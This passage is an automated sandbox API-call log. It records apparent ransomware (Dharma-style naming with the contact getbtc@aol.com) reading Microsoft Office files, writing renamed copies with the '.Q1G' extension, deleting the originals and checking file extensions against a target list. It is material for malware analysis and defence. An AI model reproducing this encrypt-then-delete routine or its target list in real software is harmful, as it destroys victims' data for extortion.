office\\office14\\1033\\mspub.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.247] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0250.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0250.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0250.247] lstrlenW (lpString=".doc") returned 4 [0250.247] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0250.247] lstrlenW (lpString=".docx") returned 5 [0250.247] lstrcmpiW (lpString1=".docx", lpString2="B.HXS") returned -1 [0250.247] lstrlenW (lpString=".pdf") returned 4 [0250.247] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0250.247] lstrlenW (lpString=".xls") returned 4 [0250.247] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0250.247] lstrlenW (lpString=".xlsx") returned 5 [0250.247] lstrcmpiW (lpString1=".xlsx", lpString2="B.HXS") returned -1 [0250.247] lstrlenW (lpString=".ppt") returned 4 [0250.247] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0250.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0250.247] lstrlenW (lpString=".zip") returned 4 [0250.247] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0250.247] lstrlenW (lpString=".rar") returned 4 [0250.247] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0250.247] lstrlenW (lpString=".bz2") returned 4 [0250.247] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0250.247] lstrlenW (lpString=".7z") returned 3 [0250.247] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0250.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0250.247] lstrlenW (lpString=".dbf") returned 4 [0250.247] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0250.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0250.247] lstrlenW (lpString=".1cd") returned 4 [0250.247] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0250.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0250.248] lstrlenW (lpString=".jpg") returned 4 [0250.248] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0250.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0250.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0250.248] lstrlenW (lpString=".doc") returned 4 [0250.248] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0250.248] lstrlenW (lpString=".docx") returned 5 [0250.248] lstrcmpiW (lpString1=".docx", lpString2="B.HXS") returned -1 [0250.248] lstrlenW (lpString=".pdf") returned 4 [0250.248] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0250.248] lstrlenW (lpString=".xls") returned 4 [0250.248] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0250.248] lstrlenW (lpString=".xlsx") returned 5 [0250.248] lstrcmpiW (lpString1=".xlsx", lpString2="B.HXS") returned -1 [0250.248] lstrlenW (lpString=".ppt") returned 4 [0250.248] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0250.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0250.248] lstrlenW (lpString=".zip") returned 4 [0250.248] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0250.248] lstrlenW (lpString=".rar") returned 4 [0250.248] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0250.248] lstrlenW (lpString=".bz2") returned 4 [0250.248] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0250.248] lstrlenW (lpString=".7z") returned 3 [0250.248] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0250.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0250.248] lstrlenW (lpString=".dbf") returned 4 [0250.248] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0250.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0250.248] lstrlenW (lpString=".1cd") returned 4 [0250.248] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0250.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0250.248] lstrlenW (lpString=".jpg") returned 4 [0250.248] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0250.249] lstrcmpiW (lpString1=".OPG", lpString2=".Q1G") returned -1 [0250.249] lstrlenW (lpString="MSPUB.OPG") returned 9 [0250.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.257] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=12024) returned 1 [0250.257] CloseHandle (hObject=0x398) returned 1 [0250.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg")) returned 0x20 [0250.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.257] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.257] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.258] GetLastError () returned 0x0 [0250.258] ReadFile (in: hFile=0x398, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x2ef8, lpOverlapped=0x0) returned 1 [0250.263] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x2f00, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x2f00, lpOverlapped=0x0) returned 1 [0250.264] ReadFile (in: hFile=0x398, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.264] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0250.264] SetEndOfFile (hFile=0x3bc) returned 1 [0250.264] CloseHandle (hObject=0x3bc) returned 1 [0250.264] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.264] SetEndOfFile (hFile=0x398) returned 1 [0250.266] CloseHandle (hObject=0x398) returned 1 [0250.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg")) returned 1 [0250.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0250.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0250.267] lstrlenW (lpString=".doc") returned 4 [0250.267] lstrcmpiW (lpString1=".doc", lpString2=".OPG") returned -1 [0250.268] lstrlenW (lpString=".docx") returned 5 [0250.268] lstrcmpiW (lpString1=".docx", lpString2="B.OPG") returned -1 [0250.268] lstrlenW (lpString=".pdf") returned 4 [0250.268] lstrcmpiW (lpString1=".pdf", lpString2=".OPG") returned 1 [0250.268] lstrlenW (lpString=".xls") returned 4 [0250.268] lstrcmpiW (lpString1=".xls", lpString2=".OPG") returned 1 [0250.268] lstrlenW (lpString=".xlsx") returned 5 [0250.268] lstrcmpiW (lpString1=".xlsx", lpString2="B.OPG") returned -1 [0250.268] lstrlenW (lpString=".ppt") returned 4 [0250.268] lstrcmpiW (lpString1=".ppt", lpString2=".OPG") returned 1 [0250.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0250.268] lstrlenW (lpString=".zip") returned 4 [0250.268] lstrcmpiW (lpString1=".zip", lpString2=".OPG") returned 1 [0250.268] lstrlenW (lpString=".rar") returned 4 [0250.268] lstrcmpiW (lpString1=".rar", lpString2=".OPG") returned 1 [0250.268] lstrlenW (lpString=".bz2") returned 4 [0250.268] lstrcmpiW (lpString1=".bz2", lpString2=".OPG") returned -1 [0250.268] lstrlenW (lpString=".7z") returned 3 [0250.268] lstrcmpiW (lpString1=".7z", lpString2="OPG") returned -1 [0250.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0250.268] lstrlenW (lpString=".dbf") returned 4 [0250.268] lstrcmpiW (lpString1=".dbf", lpString2=".OPG") returned -1 [0250.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0250.268] lstrlenW (lpString=".1cd") returned 4 [0250.268] lstrcmpiW (lpString1=".1cd", lpString2=".OPG") returned -1 [0250.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0250.268] lstrlenW (lpString=".jpg") returned 4 [0250.268] lstrcmpiW (lpString1=".jpg", lpString2=".OPG") returned -1 [0250.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0250.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0250.268] lstrlenW (lpString=".doc") returned 4 [0250.268] lstrcmpiW (lpString1=".doc", lpString2=".OPG") returned -1 [0250.268] lstrlenW (lpString=".docx") returned 5 [0250.268] lstrcmpiW (lpString1=".docx", lpString2="B.OPG") returned -1 [0250.268] lstrlenW (lpString=".pdf") returned 4 [0250.268] lstrcmpiW (lpString1=".pdf", lpString2=".OPG") returned 1 [0250.268] lstrlenW (lpString=".xls") returned 4 [0250.268] lstrcmpiW (lpString1=".xls", lpString2=".OPG") returned 1 [0250.269] lstrlenW (lpString=".xlsx") returned 5 [0250.269] lstrcmpiW (lpString1=".xlsx", lpString2="B.OPG") returned -1 [0250.269] lstrlenW (lpString=".ppt") returned 4 [0250.269] lstrcmpiW (lpString1=".ppt", lpString2=".OPG") returned 1 [0250.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0250.269] lstrlenW (lpString=".zip") returned 4 [0250.269] lstrcmpiW (lpString1=".zip", lpString2=".OPG") returned 1 [0250.269] lstrlenW (lpString=".rar") returned 4 [0250.269] lstrcmpiW (lpString1=".rar", lpString2=".OPG") returned 1 [0250.269] lstrlenW (lpString=".bz2") returned 4 [0250.269] lstrcmpiW (lpString1=".bz2", lpString2=".OPG") returned -1 [0250.269] lstrlenW (lpString=".7z") returned 3 [0250.269] lstrcmpiW (lpString1=".7z", lpString2="OPG") returned -1 [0250.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0250.269] lstrlenW (lpString=".dbf") returned 4 [0250.269] lstrcmpiW (lpString1=".dbf", lpString2=".OPG") returned -1 [0250.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0250.269] lstrlenW (lpString=".1cd") returned 4 [0250.269] lstrcmpiW (lpString1=".1cd", lpString2=".OPG") returned -1 [0250.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0250.269] lstrlenW (lpString=".jpg") returned 4 [0250.269] lstrcmpiW (lpString1=".jpg", lpString2=".OPG") returned -1 [0250.269] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0250.269] lstrlenW (lpString="MSPUB_COL.HXC") returned 13 [0250.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.270] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=621) returned 1 [0250.270] CloseHandle (hObject=0x398) returned 1 [0250.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc")) returned 0x20 [0250.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.270] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.270] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.271] GetLastError () returned 0x0 [0250.271] ReadFile (in: hFile=0x398, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x26d, lpOverlapped=0x0) returned 1 [0250.279] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x270, lpOverlapped=0x0) returned 1 [0250.280] ReadFile (in: hFile=0x398, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.280] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xee, lpOverlapped=0x0) returned 1 [0250.280] SetEndOfFile (hFile=0x3bc) returned 1 [0250.280] CloseHandle (hObject=0x3bc) returned 1 [0250.280] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.281] SetEndOfFile (hFile=0x398) returned 1 [0250.282] CloseHandle (hObject=0x398) returned 1 [0250.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc")) returned 1 [0250.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0250.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0250.283] lstrlenW (lpString=".doc") returned 4 [0250.283] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0250.283] lstrlenW (lpString=".docx") returned 5 [0250.283] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0250.283] lstrlenW (lpString=".pdf") returned 4 [0250.283] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0250.283] lstrlenW (lpString=".xls") returned 4 [0250.283] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0250.283] lstrlenW (lpString=".xlsx") returned 5 [0250.283] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0250.283] lstrlenW (lpString=".ppt") returned 4 [0250.284] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0250.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0250.284] lstrlenW (lpString=".zip") returned 4 [0250.284] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0250.284] lstrlenW (lpString=".rar") returned 4 [0250.284] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0250.284] lstrlenW (lpString=".bz2") returned 4 [0250.284] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0250.284] lstrlenW (lpString=".7z") returned 3 [0250.284] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0250.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0250.284] lstrlenW (lpString=".dbf") returned 4 [0250.284] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0250.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0250.284] lstrlenW (lpString=".1cd") returned 4 [0250.284] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0250.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0250.284] lstrlenW (lpString=".jpg") returned 4 [0250.284] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0250.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0250.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0250.284] lstrlenW (lpString=".doc") returned 4 [0250.284] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0250.284] lstrlenW (lpString=".docx") returned 5 [0250.284] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0250.284] lstrlenW (lpString=".pdf") returned 4 [0250.284] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0250.284] lstrlenW (lpString=".xls") returned 4 [0250.284] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0250.284] lstrlenW (lpString=".xlsx") returned 5 [0250.284] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0250.284] lstrlenW (lpString=".ppt") returned 4 [0250.284] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0250.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0250.284] lstrlenW (lpString=".zip") returned 4 [0250.284] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0250.284] lstrlenW (lpString=".rar") returned 4 [0250.285] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0250.285] lstrlenW (lpString=".bz2") returned 4 [0250.285] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0250.285] lstrlenW (lpString=".7z") returned 3 [0250.285] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0250.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0250.285] lstrlenW (lpString=".dbf") returned 4 [0250.285] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0250.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0250.285] lstrlenW (lpString=".1cd") returned 4 [0250.285] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0250.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0250.285] lstrlenW (lpString=".jpg") returned 4 [0250.285] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0250.285] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0250.285] lstrlenW (lpString="MSPUB_COL.HXT") returned 13 [0250.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.285] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=205) returned 1 [0250.286] CloseHandle (hObject=0x398) returned 1 [0250.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt")) returned 0x20 [0250.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.286] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.286] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.287] GetLastError () returned 0x0 [0250.287] ReadFile (in: hFile=0x398, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xcd, lpOverlapped=0x0) returned 1 [0250.295] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0250.296] ReadFile (in: hFile=0x398, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.296] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xee, lpOverlapped=0x0) returned 1 [0250.296] SetEndOfFile (hFile=0x3bc) returned 1 [0250.297] CloseHandle (hObject=0x3bc) returned 1 [0250.297] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.297] SetEndOfFile (hFile=0x398) returned 1 [0250.299] CloseHandle (hObject=0x398) returned 1 [0250.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt")) returned 1 [0250.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0250.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0250.300] lstrlenW (lpString=".doc") returned 4 [0250.300] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0250.300] lstrlenW (lpString=".docx") returned 5 [0250.300] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0250.300] lstrlenW (lpString=".pdf") returned 4 [0250.300] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0250.300] lstrlenW (lpString=".xls") returned 4 [0250.300] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0250.300] lstrlenW (lpString=".xlsx") returned 5 [0250.300] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0250.300] lstrlenW (lpString=".ppt") returned 4 [0250.300] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0250.300] lstrlenW 